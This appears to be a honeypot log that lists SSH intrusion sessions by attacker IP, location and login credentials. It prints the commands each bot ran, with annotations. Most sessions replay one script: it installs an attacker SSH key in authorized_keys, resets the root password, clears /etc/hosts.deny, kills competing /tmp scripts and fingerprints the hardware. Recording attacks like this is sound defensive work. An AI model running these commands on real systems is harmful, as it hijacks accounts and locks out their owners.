$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_43 (196.196.150.4) — Valencia, Spain · 1 session · 19 cmds

2026-07-01 22:49 EDT · as root/123456cy

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:3zxISIbsQ29u"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 strudel_root_4 (164.92.140.160) — Frankfurt am Main, Germany · 1 session · 19 cmds

2026-07-01 22:13 EDT · as root/1qaz@WSX,./

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:QbMGnGmkwsOU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root_16 (185.194.148.208) — Los Angeles, United States · 1 session · 19 cmds

2026-07-01 22:11 EDT · as root/P@ssword2

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:MnPMDqKLxbYR"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_36 (200.234.227.140) — Barcelona, Spain · 1 session · 1 cmd

2026-07-01 21:44 EDT · as root/test

echo

$ echo SHELL_TEST

🎭 windmill_sol_5 (45.153.34.151) — Amsterdam, The Netherlands · 2 sessions · 2 cmds

2026-07-01 21:26 EDT · as admin/admin, user/user1234

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 cipher_root_42 (43.154.195.142) — Hong Kong, Hong Kong · 1 session · 19 cmds

2026-07-01 20:36 EDT · as root/123456789@

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:5xGSIII4iZin"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tea_root_3 (83.135.56.114) — Kensington, United Kingdom · 1 session · 1 cmd

2026-07-01 20:02 EDT · as root/test

echo

$ echo SHELL_TEST

🎭 autobahn_root_8 (91.230.22.23) — Möhnesee, Germany · 7 sessions · 7 cmds

2026-06-30 05:16 EDT · as root/blackcat

Ran uname 7x across 7 sessions — automated OS fingerprinting.

$ uname -a ×7 // OS/kernel identification

🎭 tsar_root_6 (185.173.94.85) — Moscow, Russia · 3 sessions · 3 cmds

2026-07-01 11:12 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 hockey_root (138.197.164.175) — Toronto, Canada · 1 session · 20 cmds

2026-07-01 18:33 EDT · as test/Test@123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Test@123\nBrACG1xmpNde\nBrACG1xmpNde"|passwd|bash

$ Enter new UNIX password:

$ echo "Test@123\nBrACG1xmpNde\nBrACG1xmpNde\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 blitz_root_7 (92.205.192.169) — Cologne, Germany · 6 sessions · 6 cmds

2026-06-30 05:42 EDT · as root/blackcat

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ uname -a ×6 // OS/kernel identification

🎭 chateau_root (92.205.213.181) — Strasbourg, France · 10 sessions · 10 cmds

2026-06-30 05:28 EDT · as root/@swissmp123, root/blackcat

Ran uname 10x across 10 sessions — automated OS fingerprinting.

$ uname -a ×10 // OS/kernel identification

🎭 eagle_root_4 (212.227.239.101) — New York, United States · 1 session · 1 cmd

2026-07-01 18:32 EDT · as swissmp/Swissmp@root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a // OS/kernel identification

🎭 phantom_root_44 (69.5.7.218) — Yogyakarta, Indonesia · 1 session · 20 cmds

2026-07-01 18:28 EDT · as test/Test@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Test@123\nbY0SuKDP2WjF\nbY0SuKDP2WjF"|passwd|bash

$ Enter new UNIX password:

$ echo "Test@123\nbY0SuKDP2WjF\nbY0SuKDP2WjF\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 pretzel_root_9 (152.53.42.70) — Nuremberg, Germany · 3 sessions · 3 cmds

2026-07-01 08:31 EDT · as root/blackcat

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -a ×3 // OS/kernel identification

🎭 rogue_root_5 (103.187.147.214) — Jakarta, Indonesia · 2 sessions · 38 cmds

2026-07-01 15:58 EDT · as root/Abcd!@#$%^, root/wilson123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:0JTFlcOvRGst"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:JJhAvUWiBa1w"|chpasswd|bash

🎭 wraith_root_16 (116.118.44.131) — Hanoi, Vietnam · 1 session · 19 cmds

2026-07-01 16:05 EDT · as root/mas

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:F9sDwaffNHOy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 burger_root_3 (198.98.56.227) — New York, United States · 1 session · 19 cmds

2026-07-01 16:03 EDT · as root/mas

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:KNI0PQwRCac2"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 samba_root (201.63.223.138) — Sorocaba, Brazil · 2 sessions · 38 cmds

2026-07-01 15:46 EDT · as root/q3xaDraz, root/qwerty123123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:AsPTTwn3Zgew"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:08gLXPozecQf"|chpasswd|bash

🎭 monsoon_root_5 (106.222.213.172) — Bhopal, India · 3 sessions · 58 cmds

2026-07-01 15:53 EDT · as postgres/123456789, root/Admin!@#, root/Xl123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:uKbafSvRbOFw"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:AoouzANtYf30"|chpasswd|bash

$ echo -e "123456789\nZYdcz9w7JMla\nZYdcz9w7JMla"|passwd|bash

$ Enter new UNIX password:

$ echo "123456789\nZYdcz9w7JMla\nZYdcz9w7JMla\n"|passwd

🎭 shadow_root_37 (45.249.247.86) — Hong Kong, Hong Kong · 2 sessions · 39 cmds

2026-07-01 15:50 EDT · as postgres/123456789, root/Xl123456

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "123456789\naNe6rw54CF92\naNe6rw54CF92"|passwd|bash

$ Enter new UNIX password:

$ echo "123456789\naNe6rw54CF92\naNe6rw54CF92\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:PXvXvwvqscY8"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

🎭 lotus_root_3 (103.194.243.199) — Coimbatore, India · 1 session · 19 cmds

2026-07-01 15:58 EDT · as root/Qwerasdf123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:va4VkEk4j0bU"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 burger_root_10 (50.6.250.47) — Ashburn, United States · 2 sessions · 38 cmds

2026-07-01 15:40 EDT · as root/q3xaDraz, root/qwerty123123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

